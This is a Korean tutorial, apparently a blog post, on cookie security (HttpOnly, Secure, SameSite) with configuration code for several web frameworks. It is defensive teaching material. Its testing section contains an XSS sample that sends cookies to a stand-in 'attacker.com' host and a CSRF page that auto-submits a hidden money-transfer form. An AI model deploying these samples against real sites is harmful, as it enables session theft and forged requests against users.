🎯 쿠키, 왜 보안이 중요할까?

🛡️ HttpOnly 플래그: 자바스크립트의 손길을 차단하라

HttpOnly가 뭐야?

실제 코드로 보는 HttpOnly 설정

const express = require('express');
const app = express();

// 쿠키 설정 시 HttpOnly 플래그 추가
app.get('/login', (req, res) => {
  res.cookie('sessionId', 'abc123xyz', {
    httpOnly: true,  // 이게 핵심!
    maxAge: 3600000  // 1시간
  });
  res.send('로그인 성공!');
});

// express-session 사용 시
const session = require('express-session');
app.use(session({
  secret: 'your-secret-key',
  cookie: {
    httpOnly: true,  // 세션 쿠키에도 HttpOnly 적용
    secure: false    // 개발 환경에서는 false, 운영에서는 true
  }
}));

from flask import Flask, make_response

app = Flask(__name__)

@app.route('/login')
def login():
    response = make_response('로그인 성공!')
    response.set_cookie(
        'sessionId', 
        'abc123xyz',
        httponly=True,  # HttpOnly 플래그 설정
        max_age=3600
    )
    return response

# Flask-Session 사용 시
app.config['SESSION_COOKIE_HTTPONLY'] = True

import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletResponse;

@GetMapping("/login")
public String login(HttpServletResponse response) {
    Cookie cookie = new Cookie("sessionId", "abc123xyz");
    cookie.setHttpOnly(true);  // HttpOnly 설정
    cookie.setMaxAge(3600);
    response.addCookie(cookie);
    return "로그인 성공!";
}

// application.properties에서 전역 설정
// server.servlet.session.cookie.http-only=true

<?php
// PHP 7.3 이상
setcookie(
    'sessionId',
    'abc123xyz',
    [
        'expires' => time() + 3600,
        'httponly' => true,  // HttpOnly 설정
        'secure' => true,
        'samesite' => 'Strict'
    ]
);

// 세션 쿠키에 HttpOnly 적용
ini_set('session.cookie_httponly', 1);
session_start();
?>

public IActionResult Login()
{
    var cookieOptions = new CookieOptions
    {
        HttpOnly = true,  // HttpOnly 설정
        Expires = DateTimeOffset.UtcNow.AddHours(1)
    };
    
    Response.Cookies.Append("sessionId", "abc123xyz", cookieOptions);
    return Ok("로그인 성공!");
}

// Startup.cs에서 전역 설정
services.AddSession(options =>
{
    options.Cookie.HttpOnly = true;
});

HttpOnly 동작 테스트하기

console.log(document.cookie);

HttpOnly의 한계와 주의사항

🔒 Secure 플래그: HTTPS만 통과시켜라

Secure 플래그란?

Secure 플래그 설정 방법

// 단일 쿠키 설정
res.cookie('sessionId', 'abc123xyz', {
  httpOnly: true,
  secure: true,  // HTTPS에서만 전송
  maxAge: 3600000
});

// 환경에 따라 동적 설정
const isProduction = process.env.NODE_ENV === 'production';
res.cookie('sessionId', 'abc123xyz', {
  httpOnly: true,
  secure: isProduction,  // 운영 환경에서만 true
  maxAge: 3600000
});

// express-session에서 설정
app.use(session({
  secret: 'your-secret-key',
  cookie: {
    httpOnly: true,
    secure: true,  // HTTPS 필수
    sameSite: 'strict'
  },
  proxy: true  // 프록시 뒤에 있을 때 필요
}));

# settings.py
SESSION_COOKIE_SECURE = True  # 세션 쿠키를 HTTPS에서만 전송
CSRF_COOKIE_SECURE = True     # CSRF 쿠키도 HTTPS에서만

# 개발/운영 환경 분리
import os
DEBUG = os.environ.get('DEBUG', 'False') == 'True'
SESSION_COOKIE_SECURE = not DEBUG

# 뷰에서 직접 설정
from django.http import HttpResponse

def my_view(request):
    response = HttpResponse('Success')
    response.set_cookie(
        'custom_cookie',
        'value',
        secure=True,  # Secure 플래그
        httponly=True
    )
    return response

from flask import Flask

app = Flask(__name__)

# 세션 쿠키 설정
app.config['SESSION_COOKIE_SECURE'] = True
app.config['SESSION_COOKIE_HTTPONLY'] = True

# 개별 쿠키 설정
@app.route('/set-cookie')
def set_cookie():
    response = make_response('Cookie set!')
    response.set_cookie(
        'my_cookie',
        'value',
        secure=True,
        httponly=True,
        samesite='Lax'
    )
    return response

// application.properties
server.servlet.session.cookie.secure=true
server.servlet.session.cookie.http-only=true

// 또는 application.yml
server:
  servlet:
    session:
      cookie:
        secure: true
        http-only: true

// 코드에서 직접 설정
@GetMapping("/login")
public String login(HttpServletResponse response) {
    Cookie cookie = new Cookie("sessionId", "abc123xyz");
    cookie.setHttpOnly(true);
    cookie.setSecure(true);  // Secure 플래그
    cookie.setMaxAge(3600);
    response.addCookie(cookie);
    return "Success";
}

<?php
// 개별 쿠키 설정
setcookie(
    'sessionId',
    'abc123xyz',
    [
        'expires' => time() + 3600,
        'httponly' => true,
        'secure' => true,  // HTTPS에서만 전송
        'samesite' => 'Strict'
    ]
);

// 세션 쿠키 설정
ini_set('session.cookie_secure', 1);
ini_set('session.cookie_httponly', 1);
session_start();

// 또는 php.ini에서 설정
// session.cookie_secure = 1
// session.cookie_httponly = 1
?>

로컬 개발 환경에서의 Secure 플래그

// Node.js 예제
const isProduction = process.env.NODE_ENV === 'production';
const cookieOptions = {
  httpOnly: true,
  secure: isProduction,  // 운영에서만 true
  sameSite: isProduction ? 'strict' : 'lax'
};

HTTPS 전환 체크리스트

Secure 플래그 없이 발생한 실제 사건

🚧 SameSite 속성: CSRF 공격을 막아라

SameSite가 뭐길래?

SameSite의 세 가지 값

SameSite 설정 방법

// Strict 설정 - 최고 보안
res.cookie('sessionId', 'abc123xyz', {
  httpOnly: true,
  secure: true,
  sameSite: 'strict'  // 크로스 사이트 요청 완전 차단
});

// Lax 설정 - 권장 설정
res.cookie('sessionId', 'abc123xyz', {
  httpOnly: true,
  secure: true,
  sameSite: 'lax'  // 안전한 네비게이션만 허용
});

// None 설정 - 크로스 도메인 필요 시
res.cookie('tracking', 'xyz789', {
  httpOnly: false,
  secure: true,  // None 사용 시 Secure 필수!
  sameSite: 'none'
});

// express-session 전역 설정
app.use(session({
  secret: 'your-secret-key',
  cookie: {
    httpOnly: true,
    secure: true,
    sameSite: 'lax'  // 대부분의 경우 lax가 적절
  }
}));

# settings.py

# 세션 쿠키 설정
SESSION_COOKIE_SAMESITE = 'Lax'  # 'Strict', 'Lax', 'None' 중 선택
SESSION_COOKIE_SECURE = True
SESSION_COOKIE_HTTPONLY = True

# CSRF 쿠키 설정
CSRF_COOKIE_SAMESITE = 'Strict'
CSRF_COOKIE_SECURE = True

# Django 3.1 이상에서는 기본값이 'Lax'
# 명시적으로 설정하는 것을 권장

# 뷰에서 개별 설정
from django.http import HttpResponse

def my_view(request):
    response = HttpResponse('Success')
    response.set_cookie(
        'my_cookie',
        'value',
        samesite='Strict',  # SameSite 설정
        secure=True,
        httponly=True
    )
    return response

from flask import Flask, make_response

app = Flask(__name__)

# 세션 쿠키 전역 설정
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'
app.config['SESSION_COOKIE_SECURE'] = True
app.config['SESSION_COOKIE_HTTPONLY'] = True

@app.route('/set-cookie')
def set_cookie():
    response = make_response('Cookie set!')
    
    # Strict 설정
    response.set_cookie(
        'secure_cookie',
        'value1',
        samesite='Strict',
        secure=True,
        httponly=True
    )
    
    # Lax 설정
    response.set_cookie(
        'normal_cookie',
        'value2',
        samesite='Lax',
        secure=True,
        httponly=True
    )
    
    # None 설정 (크로스 도메인)
    response.set_cookie(
        'cross_domain_cookie',
        'value3',
        samesite='None',
        secure=True  # None 사용 시 필수!
    )
    
    return response

// application.properties
server.servlet.session.cookie.same-site=lax
server.servlet.session.cookie.secure=true
server.servlet.session.cookie.http-only=true

// application.yml
server:
  servlet:
    session:
      cookie:
        same-site: lax
        secure: true
        http-only: true

// Java 코드에서 설정 (Spring Boot 2.6+)
import org.springframework.boot.web.servlet.server.CookieSameSiteSupplier;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;

@Configuration
public class CookieConfig {
    
    @Bean
    public CookieSameSiteSupplier cookieSameSiteSupplier() {
        return CookieSameSiteSupplier.ofLax();  // 또는 ofStrict(), ofNone()
    }
}

// 개별 쿠키 설정
@GetMapping("/login")
public ResponseEntity<String> login(HttpServletResponse response) {
    ResponseCookie cookie = ResponseCookie.from("sessionId", "abc123xyz")
        .httpOnly(true)
        .secure(true)
        .sameSite("Lax")  // SameSite 설정
        .maxAge(3600)
        .path("/")
        .build();
    
    response.addHeader(HttpHeaders.SET_COOKIE, cookie.toString());
    return ResponseEntity.ok("Success");
}

<?php
// PHP 7.3 이상에서 지원

// Strict 설정
setcookie(
    'sessionId',
    'abc123xyz',
    [
        'expires' => time() + 3600,
        'path' => '/',
        'domain' => '',
        'secure' => true,
        'httponly' => true,
        'samesite' => 'Strict'  // Strict, Lax, None
    ]
);

// Lax 설정 (권장)
setcookie(
    'user_pref',
    'value',
    [
        'expires' => time() + 86400,
        'secure' => true,
        'httponly' => false,
        'samesite' => 'Lax'
    ]
);

// None 설정 (크로스 도메인)
setcookie(
    'tracking',
    'xyz789',
    [
        'expires' => time() + 86400,
        'secure' => true,  // None 사용 시 필수!
        'httponly' => false,
        'samesite' => 'None'
    ]
);

// 세션 쿠키 설정
ini_set('session.cookie_samesite', 'Lax');
ini_set('session.cookie_secure', 1);
ini_set('session.cookie_httponly', 1);
session_start();
?>

// Startup.cs 또는 Program.cs
services.AddSession(options =>
{
    options.Cookie.HttpOnly = true;
    options.Cookie.SecurePolicy = CookieSecurePolicy.Always;
    options.Cookie.SameSite = SameSiteMode.Lax;  // Strict, Lax, None
});

// 개별 쿠키 설정
public IActionResult SetCookie()
{
    var cookieOptions = new CookieOptions
    {
        HttpOnly = true,
        Secure = true,
        SameSite = SameSiteMode.Strict,  // SameSite 설정
        Expires = DateTimeOffset.UtcNow.AddHours(1)
    };
    
    Response.Cookies.Append("sessionId", "abc123xyz", cookieOptions);
    return Ok("Cookie set!");
}

// 전역 쿠키 정책 설정
services.Configure<CookiePolicyOptions>(options =>
{
    options.MinimumSameSitePolicy = SameSiteMode.Lax;
    options.Secure = CookieSecurePolicy.Always;
});

SameSite 값 선택 가이드

SameSite 동작 이해하기

<form action="https://example.com/transfer" method="POST">
  <input name="amount" value="1000000">
  <input name="to" value="attacker">
</form>
<script>document.forms[0].submit();</script>

<a href="https://example.com/dashboard">대시보드 보기</a>

🔧 실전 적용: 세 가지를 모두 함께 사용하기

완벽한 쿠키 보안 설정

const express = require('express');
const session = require('express-session');
const helmet = require('helmet');

const app = express();

// Helmet으로 기본 보안 헤더 설정
app.use(helmet());

// 환경 변수로 운영/개발 환경 구분
const isProduction = process.env.NODE_ENV === 'production';

// 세션 설정 - 완벽한 보안
app.use(session({
  secret: process.env.SESSION_SECRET || 'your-secret-key',
  name: 'sessionId',  // 기본 이름 변경으로 추가 보안
  resave: false,
  saveUninitialized: false,
  cookie: {
    httpOnly: true,      // XSS 방어
    secure: isProduction, // HTTPS에서만 전송
    sameSite: 'lax',     // CSRF 방어
    maxAge: 1000 * 60 * 60 * 24,  // 24시간
    domain: isProduction ? '.yourdomain.com' : undefined
  },
  proxy: isProduction  // 프록시 뒤에 있을 때
}));

// 로그인 엔드포인트
app.post('/api/login', async (req, res) => {
  try {
    const { username, password } = req.body;
    
    // 사용자 인증 로직
    const user = await authenticateUser(username, password);
    
    if (!user) {
      return res.status(401).json({ error: '인증 실패' });
    }
    
    // 세션에 사용자 정보 저장
    req.session.userId = user.id;
    req.session.username = user.username;
    
    // 추가 보안 쿠키 설정
    res.cookie('user_pref', user.preferences, {
      httpOnly: false,  // 클라이언트에서 읽어야 하는 경우
      secure: isProduction,
      sameSite: 'lax',
      maxAge: 1000 * 60 * 60 * 24 * 30  // 30일
    });
    
    res.json({ 
      success: true, 
      user: { 
        id: user.id, 
        username: user.username 
      } 
    });
    
  } catch (error) {
    console.error('Login error:', error);
    res.status(500).json({ error: '서버 오류' });
  }
});

// 로그아웃 엔드포인트
app.post('/api/logout', (req, res) => {
  req.session.destroy((err) => {
    if (err) {
      return res.status(500).json({ error: '로그아웃 실패' });
    }
    
    // 쿠키 삭제
    res.clearCookie('sessionId');
    res.clearCookie('user_pref');
    
    res.json({ success: true });
  });
});

// 인증 미들웨어
function requireAuth(req, res, next) {
  if (!req.session.userId) {
    return res.status(401).json({ error: '인증 필요' });
  }
  next();
}

// 보호된 라우트
app.get('/api/profile', requireAuth, (req, res) => {
  res.json({
    userId: req.session.userId,
    username: req.session.username
  });
});

const PORT = process.env.PORT || 3000;
app.listen(PORT, () => {
  console.log(`Server running on port ${PORT}`);
  console.log(`Environment: ${isProduction ? 'Production' : 'Development'}`);
});

# settings.py

import os

# 환경 변수
DEBUG = os.environ.get('DEBUG', 'False') == 'True'
SECRET_KEY = os.environ.get('SECRET_KEY', 'your-secret-key')

# 세션 쿠키 설정
SESSION_COOKIE_NAME = 'sessionid'  # 기본값이지만 명시
SESSION_COOKIE_AGE = 86400  # 24시간 (초 단위)
SESSION_COOKIE_HTTPONLY = True  # XSS 방어
SESSION_COOKIE_SECURE = not DEBUG  # 운영에서만 HTTPS
SESSION_COOKIE_SAMESITE = 'Lax'  # CSRF 방어

# CSRF 쿠키 설정
CSRF_COOKIE_NAME = 'csrftoken'
CSRF_COOKIE_HTTPONLY = False  # CSRF 토큰은 JS에서 읽어야 함
CSRF_COOKIE_SECURE = not DEBUG
CSRF_COOKIE_SAMESITE = 'Lax'

# 추가 보안 설정
SECURE_BROWSER_XSS_FILTER = True
SECURE_CONTENT_TYPE_NOSNIFF = True
X_FRAME_OPTIONS = 'DENY'

# HTTPS 관련 설정 (운영 환경)
if not DEBUG:
    SECURE_SSL_REDIRECT = True  # HTTP를 HTTPS로 리다이렉트
    SECURE_HSTS_SECONDS = 31536000  # HSTS 1년
    SECURE_HSTS_INCLUDE_SUBDOMAINS = True
    SECURE_HSTS_PRELOAD = True
    SESSION_COOKIE_SECURE = True
    CSRF_COOKIE_SECURE = True

# views.py
from django.contrib.auth import authenticate, login, logout
from django.http import JsonResponse
from django.views.decorators.csrf import ensure_csrf_cookie
from django.views.decorators.http import require_http_methods

@require_http_methods(["POST"])
@ensure_csrf_cookie
def login_view(request):
    username = request.POST.get('username')
    password = request.POST.get('password')
    
    user = authenticate(request, username=username, password=password)
    
    if user is not None:
        login(request, user)
        
        # 추가 쿠키 설정
        response = JsonResponse({
            'success': True,
            'user': {
                'id': user.id,
                'username': user.username
            }
        })
        
        response.set_cookie(
            'user_pref',
            user.preferences,
            max_age=2592000,  # 30일
            secure=not DEBUG,
            httponly=False,
            samesite='Lax'
        )
        
        return response
    else:
        return JsonResponse({'error': '인증 실패'}, status=401)

@require_http_methods(["POST"])
def logout_view(request):
    logout(request)
    response = JsonResponse({'success': True})
    response.delete_cookie('user_pref')
    return response

// application.yml
server:
  servlet:
    session:
      cookie:
        name: SESSIONID
        http-only: true
        secure: true
        same-site: lax
        max-age: 86400  # 24시간
    
spring:
  security:
    cookie:
      same-site: lax

// SecurityConfig.java
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.web.SecurityFilterChain;
import org.springframework.security.web.csrf.CookieCsrfTokenRepository;

@Configuration
public class SecurityConfig {
    
    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http
            .csrf(csrf -> csrf
                .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
            )
            .sessionManagement(session -> session
                .sessionFixation().migrateSession()
                .maximumSessions(1)
            )
            .headers(headers -> headers
                .contentSecurityPolicy("default-src 'self'")
                .and()
                .frameOptions().deny()
                .xssProtection()
            );
        
        return http.build();
    }
}

// LoginController.java
import org.springframework.http.ResponseCookie;
import org.springframework.http.HttpHeaders;
import org.springframework.web.bind.annotation.*;

@RestController
@RequestMapping("/api")
public class LoginController {
    
    @PostMapping("/login")
    public ResponseEntity<LoginResponse> login(
            @RequestBody LoginRequest request,
            HttpServletResponse response) {
        
        // 사용자 인증
        User user = authService.authenticate(
            request.getUsername(), 
            request.getPassword()
        );
        
        if (user == null) {
            return ResponseEntity.status(401)
                .body(new LoginResponse(false, "인증 실패"));
        }
        
        // 세션 생성
        HttpSession session = request.getSession(true);
        session.setAttribute("userId", user.getId());
        session.setAttribute("username", user.getUsername());
        
        // 추가 쿠키 설정
        ResponseCookie cookie = ResponseCookie
            .from("user_pref", user.getPreferences())
            .httpOnly(false)
            .secure(true)
            .sameSite("Lax")
            .maxAge(2592000)  // 30일
            .path("/")
            .build();
        
        response.addHeader(HttpHeaders.SET_COOKIE, cookie.toString());
        
        return ResponseEntity.ok(
            new LoginResponse(true, "로그인 성공", user)
        );
    }
    
    @PostMapping("/logout")
    public ResponseEntity<LogoutResponse> logout(HttpSession session) {
        session.invalidate();
        return ResponseEntity.ok(new LogoutResponse(true, "로그아웃 성공"));
    }
}

환경별 설정 전략

{
  httpOnly: true,      // 항상 true
  secure: false,       // localhost는 HTTP
  sameSite: 'lax',     // 테스트 용이성
  domain: undefined    // localhost
}

{
  httpOnly: true,
  secure: true,        // HTTPS 사용
  sameSite: 'lax',
  domain: '.staging.yourdomain.com'
}

{
  httpOnly: true,
  secure: true,
  sameSite: 'strict',  // 또는 'lax' (서비스 특성에 따라)
  domain: '.yourdomain.com',
  maxAge: 86400
}

쿠키 보안 체크리스트

🐛 흔한 실수와 해결 방법

실수 1: SameSite=None인데 Secure가 없는 경우

res.cookie('tracking', 'value', {
  sameSite: 'none'  // Secure 없음!
});

res.cookie('tracking', 'value', {
  sameSite: 'none',
  secure: true  // 필수!
});

실수 2: 로컬 개발에서 Secure 플래그 사용

// 환경 변수로 분기
const isProduction = process.env.NODE_ENV === 'production';

res.cookie('sessionId', 'value', {
  httpOnly: true,
  secure: isProduction,  // 개발에서는 false
  sameSite: isProduction ? 'strict' : 'lax'
});

# mkcert 설치 (macOS)
brew install mkcert
mkcert -install
mkcert localhost

# Node.js에서 HTTPS 서버 실행
const https = require('https');
const fs = require('fs');

const options = {
  key: fs.readFileSync('localhost-key.pem'),
  cert: fs.readFileSync('localhost.pem')
};

https.createServer(options, app).listen(3000);

실수 3: HttpOnly 쿠키를 JavaScript로 읽으려고 시도

// 서버에서 HttpOnly 쿠키 설정
res.cookie('sessionId', 'abc123', { httpOnly: true });

// 클라이언트에서 읽으려고 시도
console.log(document.cookie);  // sessionId가 보이지 않음!

// 서버에서 두 개의 쿠키 설정
res.cookie('sessionId', 'abc123', { 
  httpOnly: true,  // 서버 전용
  secure: true,
  sameSite: 'strict'
});

res.cookie('userId', user.id, { 
  httpOnly: false,  // 클라이언트에서 읽기 가능
  secure: true,
  sameSite: 'lax'
});

// 클라이언트에서는 userId만 읽을 수 있음
console.log(document.cookie);  // userId=123

실수 4: 서브도메인 간 쿠키 공유 실패

// Domain 속성 설정
res.cookie('sessionId', 'value', {
  httpOnly: true,
  secure: true,
  sameSite: 'lax',
  domain: '.example.com'  // 앞에 점(.) 붙이기!
});

// 이제 모든 서브도메인에서 접근 가능:
// www.example.com
// api.example.com
// admin.example.com

실수 5: 쿠키 크기 제한 초과

// 나쁜 예: 큰 데이터를 쿠키에 저장
res.cookie('userData', JSON.stringify(largeUserObject));  // ❌

// 좋은 예: 세션 ID만 저장하고 데이터는 서버에
req.session.userId = user.id;  // ✅
req.session.userData = largeUserObject;  // 서버 세션에 저장

// 클라이언트에는 세션 ID만 전송됨
res.cookie('sessionId', req.sessionID, {
  httpOnly: true,
  secure: true,
  sameSite: 'lax'
});

🧪 보안 테스트 방법

브라우저 개발자 도구로 확인하기

XSS 공격 시뮬레이션

// 개발자 도구 Console에서 실행
console.log(document.cookie);

// HttpOnly 쿠키는 출력되지 않아야 함
// 출력 예: "user_pref=dark_mode; language=ko"
// sessionId는 보이지 않음!

// XSS 취약점이 있다고 가정하고 테스트
<script>
  // 쿠키 탈취 시도
  const cookies = document.cookie;
  
  // 공격자 서버로 전송 시도
  fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify({ cookies })
  });
</script>

// HttpOnly 쿠키는 탈취되지 않음!

// HttpOnly 쿠키를 덮어쓰려는 시도
document.cookie = "sessionId=hacked; path=/";

// 실제 HttpOnly 쿠키는 변경되지 않음
// 새로운 non-HttpOnly 쿠키가 생성될 뿐

CSRF 공격 시뮬레이션

<!-- evil.com/attack.html -->
<html>
<body>
  <h1>무료 경품 당첨!</h1>
  
  <!-- 숨겨진 CSRF 공격 폼 -->
  <form id="attack" action="https://yoursite.com/api/transfer" method="POST">
    <input type="hidden" name="amount" value="1000000">
    <input type="hidden" name="to" value="attacker">
  </form>
  
  <script>
    // 페이지 로드 시 자동 제출
    document.getElementById('attack').submit();
  </script>
</body>
</html>

자동화된 보안 테스트 도구

# Docker로 실행
docker run -u zap -p 8080:8080 owasp/zap2docker-stable zap.sh \
  -daemon -host 0.0.0.0 -port 8080 \
  -config api.disablekey=true

침투 테스트 체크리스트

🌐 실제 서비스 사례 분석

대형 서비스들의 쿠키 보안 전략

금융권 보안 표준

재능넷에서의 쿠키 보안 적용

🚀 고급 쿠키 보안 기법

쿠키 접두사 (Cookie Prefixes)

// 자동으로 Secure가 필요함
res.cookie('__Secure-sessionId', 'value', {
  secure: true,  // 필수!
  httpOnly: true,
  sameSite: 'lax'
});

// HTTP에서는 설정 불가
// HTTPS에서만 작동

res.cookie('__Host-sessionId', 'value', {
  secure: true,   // 필수
  httpOnly: true,
  sameSite: 'strict',
  path: '/'       // 필수
  // domain 설정 불가!
});

// 서브도메인 공유 불가
// 최고 수준의 보안

쿠키 암호화

const crypto = require('crypto');

// 암호화 함수
function encryptCookie(value, secret) {
  const algorithm = 'aes-256-gcm';
  const iv = crypto.randomBytes(16);
  const cipher = crypto.createCipheriv(
    algorithm, 
    Buffer.from(secret, 'hex'), 
    iv
  );
  
  let encrypted = cipher.update(value, 'utf8', 'hex');
  encrypted += cipher.final('hex');
  
  const authTag = cipher.getAuthTag();
  
  return {
    encrypted,
    iv: iv.toString('hex'),
    authTag: authTag.toString('hex')
  };
}

// 복호화 함수
function decryptCookie(encrypted, iv, authTag, secret) {
  const algorithm = 'aes-256-gcm';
  const decipher = crypto.createDecipheriv(
    algorithm,
    Buffer.from(secret, 'hex'),
    Buffer.from(iv, 'hex')
  );
  
  decipher.setAuthTag(Buffer.from(authTag, 'hex'));
  
  let decrypted = decipher.update(encrypted, 'hex', 'utf8');
  decrypted += decipher.final('utf8');
  
  return decrypted;
}

// 사용 예제
app.post('/login', (req, res) => {
  const sessionData = JSON.stringify({
    userId: user.id,
    username: user.username,
    timestamp: Date.now()
  });
  
  const secret = process.env.COOKIE_SECRET;
  const { encrypted, iv, authTag } = encryptCookie(sessionData, secret);
  
  // 암호화된 데이터를 쿠키에 저장
  res.cookie('session', JSON.stringify({ encrypted, iv, authTag }), {
    httpOnly: true,
    secure: true,
    sameSite: 'strict'
  });
  
  res.json({ success: true });
});

// 쿠키 읽기
app.get('/profile', (req, res) => {
  try {
    const cookieData = JSON.parse(req.cookies.session);
    const secret = process.env.COOKIE_SECRET;
    
    const decrypted = decryptCookie(
      cookieData.encrypted,
      cookieData.iv,
      cookieData.authTag,
      secret
    );
    
    const sessionData = JSON.parse(decrypted);
    res.json(sessionData);
  } catch (error) {
    res.status(401).json({ error: '유효하지 않은 세션' });
  }
});

세션 고정 공격 방어

// Express 예제
app.post('/login', (req, res) => {
  const { username, password } = req.body;
  
  // 사용자 인증
  const user = authenticateUser(username, password);
  
  if (user) {
    // 기존 세션 파괴
    req.session.destroy((err) => {
      if (err) {
        return res.status(500).json({ error: '로그인 실패' });
      }
      
      // 새로운 세션 생성
      req.session.regenerate((err) => {
        if (err) {
          return res.status(500).json({ error: '로그인 실패' });
        }
        
        // 새 세션에 사용자 정보 저장
        req.session.userId = user.id;
        req.session.username = user.username;
        
        res.json({ success: true });
      });
    });
  } else {
    res.status(401).json({ error: '인증 실패' });
  }
});

CSRF 토큰과 쿠키 조합

const crypto = require('crypto');

// CSRF 토큰 생성
function generateCsrfToken() {
  return crypto.randomBytes(32).toString('hex');
}

app.get('/api/csrf-token', (req, res) => {
  const token = generateCsrfToken();
  
  // 세션에 저장
  req.session.csrfToken = token;
  
  // 쿠키로도 전송 (Double Submit Cookie 패턴)
  res.cookie('XSRF-TOKEN', token, {
    httpOnly: false,  // JS에서 읽어야 함
    secure: true,
    sameSite: 'strict'
  });
  
  res.json({ token });
});

// React 예제
async function submitForm(data) {
  // 쿠키에서 CSRF 토큰 읽기
  const csrfToken = getCookie('XSRF-TOKEN');
  
  const response = await fetch('/api/submit', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
      'X-CSRF-Token': csrfToken  // 헤더에 포함
    },
    credentials: 'include',  // 쿠키 포함
    body: JSON.stringify(data)
  });
  
  return response.json();
}

function getCookie(name) {
  const value = `; ${document.cookie}`;
  const parts = value.split(`; ${name}=`);
  if (parts.length === 2) {
    return parts.pop().split(';').shift();
  }
}

// CSRF 검증 미들웨어
function verifyCsrfToken(req, res, next) {
  const tokenFromHeader = req.headers['x-csrf-token'];
  const tokenFromSession = req.session.csrfToken;
  const tokenFromCookie = req.cookies['XSRF-TOKEN'];
  
  // Double Submit Cookie 패턴 검증
  if (!tokenFromHeader || 
      tokenFromHeader !== tokenFromSession ||
      tokenFromHeader !== tokenFromCookie) {
    return res.status(403).json({ error: 'CSRF 토큰 불일치' });
  }
  
  next();
}

// 보호된 라우트에 적용
app.post('/api/submit', verifyCsrfToken, (req, res) => {
  // 안전한 처리
  res.json({ success: true });
});

📱 모바일 앱에서의 쿠키 보안

모바일 환경의 특수성

React Native 예제

import AsyncStorage from '@react-native-async-storage/async-storage';
import * as SecureStore from 'expo-secure-store';

// 안전한 토큰 저장 (iOS Keychain, Android KeyStore)
async function saveToken(token) {
  try {
    await SecureStore.setItemAsync('authToken', token);
  } catch (error) {
    console.error('토큰 저장 실패:', error);
  }
}

// 토큰 읽기
async function getToken() {
  try {
    return await SecureStore.getItemAsync('authToken');
  } catch (error) {
    console.error('토큰 읽기 실패:', error);
    return null;
  }
}

// API 요청 시 토큰 사용
async function fetchUserData() {
  const token = await getToken();
  
  const response = await fetch('https://api.example.com/user', {
    method: 'GET',
    headers: {
      'Authorization': `Bearer ${token}`,
      'Content-Type': 'application/json'
    }
  });
  
  return response.json();
}

// 로그인
async function login(username, password) {
  const response = await fetch('https://api.example.com/login', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json'
    },
    body: JSON.stringify({ username, password })
  });
  
  const data = await response.json();
  
  if (data.token) {
    await saveToken(data.token);
    return true;
  }
  
  return false;
}

// 로그아웃
async function logout() {
  await SecureStore.deleteItemAsync('authToken');
}

Flutter 예제

import 'package:flutter_secure_storage/flutter_secure_storage.dart';
import 'package:http/http.dart' as http;
import 'dart:convert';

class AuthService {
  final storage = FlutterSecureStorage();
  
  // 토큰 저장
  Future<void> saveToken(String token) async {
    await storage.write(key: 'authToken', value: token);
  }
  
  // 토큰 읽기
  Future<String?> getToken() async {
    return await storage.read(key: 'authToken');
  }
  
  // 로그인
  Future<bool> login(String username, String password) async {
    final response = await http.post(
      Uri.parse('https://api.example.com/login'),
      headers: {'Content-Type': 'application/json'},
      body: jsonEncode({
        'username': username,
        'password': password,
      }),
    );
    
    if (response.statusCode == 200) {
      final data = jsonDecode(response.body);
      await saveToken(data['token']);
      return true;
    }
    
    return false;
  }
  
  // API 요청
  Future<Map<String, dynamic>> fetchUserData() async {
    final token = await getToken();
    
    final response = await http.get(
      Uri.parse('https://api.example.com/user'),
      headers: {
        'Authorization': 'Bearer $token',
        'Content-Type': 'application/json',
      },
    );
    
    return jsonDecode(response.body);
  }
  
  // 로그아웃
  Future<void> logout() async {
    await storage.delete(key: 'authToken');
  }
}

🔄 쿠키 마이그레이션 전략

기존 시스템에 보안 적용하기

호환성 유지 전략

// 새로운 보안 쿠키와 기존 쿠키를 동시에 설정
app.post('/login', (req, res) => {
  const sessionId = generateSessionId();
  
  // 새로운 보안 쿠키
  res.cookie('__Secure-sessionId', sessionId, {
    httpOnly: true,
    secure: true,
    sameSite: 'strict',
    maxAge: 3600000
  });
  
  // 기존 쿠키 (호환성 유지)
  res.cookie('sessionId', sessionId, {
    httpOnly: true,
    secure: false,  // 일시적으로 허용
    maxAge: 3600000
  });
  
  res.json({ success: true });
});

// 읽을 때는 새 쿠키 우선
app.use((req, res, next) => {
  req.sessionId = req.cookies['__Secure-sessionId'] || 
                  req.cookies['sessionId'];
  next();
});

// 사용자별로 점진적 적용
app.post('/login', (req, res) => {
  const user = authenticateUser(req.body);
  
  // 사용자 ID 기반으로 일정 비율만 새 설정 적용
  const useNewSecurity = (user.id % 100) < 10;  // 10%
  
  const cookieOptions = {
    httpOnly: true,
    secure: useNewSecurity ? true : false,
    sameSite: useNewSecurity ? 'strict' : 'lax'
  };
  
  res.cookie('sessionId', sessionId, cookieOptions);
  res.json({ success: true });
});

// 환경 변수나 설정으로 제어
const ENABLE_STRICT_COOKIES = process.env.ENABLE_STRICT_COOKIES === 'true';

app.use(session({
  cookie: {
    httpOnly: true,
    secure: true,
    sameSite: ENABLE_STRICT_COOKIES ? 'strict' : 'lax'
  }
}));

// 운영 중 실시간으로 on/off 가능

롤백 계획

// 긴급 롤백 스크립트
// rollback-cookies.js

const ROLLBACK_CONFIG = {
  httpOnly: true,  // 이건 유지
  secure: false,   // 원래대로
  sameSite: 'lax'  // 원래대로
};

// 모든 쿠키 설정을 이전 상태로
app.use((req, res, next) => {
  res.cookie = function(name, value, options) {
    const safeOptions = { ...options, ...ROLLBACK_CONFIG };
    return originalCookie.call(this, name, value, safeOptions);
  };
  next();
});

📊 성능 최적화

쿠키 크기 최적화

// ❌ 나쁜 예: 모든 정보를 쿠키에
res.cookie('user', JSON.stringify({
  id: user.id,
  username: user.username,
  email: user.email,
  profile: user.profile,
  preferences: user.preferences,
  history: user.history
}));  // 너무 큼!

// ✅ 좋은 예: ID만 저장
res.cookie('userId', user.id, {
  httpOnly: true,
  secure: true,
  sameSite: 'lax'
});

// 나머지 정보는 서버 세션에
req.session.user = user;

const zlib = require('zlib');

function compressCookie(data) {
  const json = JSON.stringify(data);
